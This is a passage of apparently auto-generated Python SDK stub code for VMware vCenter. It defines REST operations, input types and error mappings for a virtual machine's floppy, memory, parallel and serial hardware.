type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/floppy/{floppy}',
path_variables={
'vm': 'vm',
'floppy': 'floppy',
},
query_parameters={
}
)
# properties for connect operation
connect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'floppy': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
})
connect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
connect_input_value_validator_list = [
]
connect_output_validator_list = [
]
connect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/floppy/{floppy}/connect',
path_variables={
'vm': 'vm',
'floppy': 'floppy',
},
query_parameters={
}
)
# properties for disconnect operation
disconnect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'floppy': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
})
disconnect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
disconnect_input_value_validator_list = [
]
disconnect_output_validator_list = [
]
disconnect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/floppy/{floppy}/disconnect',
path_variables={
'vm': 'vm',
'floppy': 'floppy',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Floppy.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Floppy.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
'connect': {
'input_type': connect_input_type,
'output_type': type.VoidType(),
'errors': connect_error_dict,
'input_value_validator_list': connect_input_value_validator_list,
'output_validator_list': connect_output_validator_list,
'task_type': TaskType.NONE,
},
'disconnect': {
'input_type': disconnect_input_type,
'output_type': type.VoidType(),
'errors': disconnect_error_dict,
'input_value_validator_list': disconnect_input_value_validator_list,
'output_validator_list': disconnect_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
'connect': connect_rest_metadata,
'disconnect': disconnect_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.floppy',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _MemoryStub(ApiInterfaceStub):
def __init__(self, config):
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/memory',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Memory.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/memory',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
operations = {
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Memory.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'get': get_rest_metadata,
'update': update_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.memory',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _ParallelStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/parallel',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/parallel/{port}',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Parallel.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/parallel',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
'spec': type.ReferenceType(__name__, 'Parallel.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/parallel/{port}',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/parallel/{port}',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for connect operation
connect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
})
connect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
connect_input_value_validator_list = [
]
connect_output_validator_list = [
]
connect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/parallel/{port}/connect',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for disconnect operation
disconnect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
})
disconnect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
disconnect_input_value_validator_list = [
]
disconnect_output_validator_list = [
]
disconnect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/parallel/{port}/disconnect',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Parallel.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Parallel.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ParallelPort'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
'connect': {
'input_type': connect_input_type,
'output_type': type.VoidType(),
'errors': connect_error_dict,
'input_value_validator_list': connect_input_value_validator_list,
'output_validator_list': connect_output_validator_list,
'task_type': TaskType.NONE,
},
'disconnect': {
'input_type': disconnect_input_type,
'output_type': type.VoidType(),
'errors': disconnect_error_dict,
'input_value_validator_list': disconnect_input_value_validator_list,
'output_validator_list': disconnect_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
'connect': connect_rest_metadata,
'disconnect': disconnect_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.parallel',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _SerialStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/serial',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/serial/{port}',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Serial.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/serial',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
'spec': type.ReferenceType(__name__, 'Serial.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
update_rest_metadata = OperationRestMetadata(
http_method='PATCH',
url_template='/vcenter/vm/{vm}/hardware/serial/{port}',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/serial/{port}',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for connect operation
connect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
})
connect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
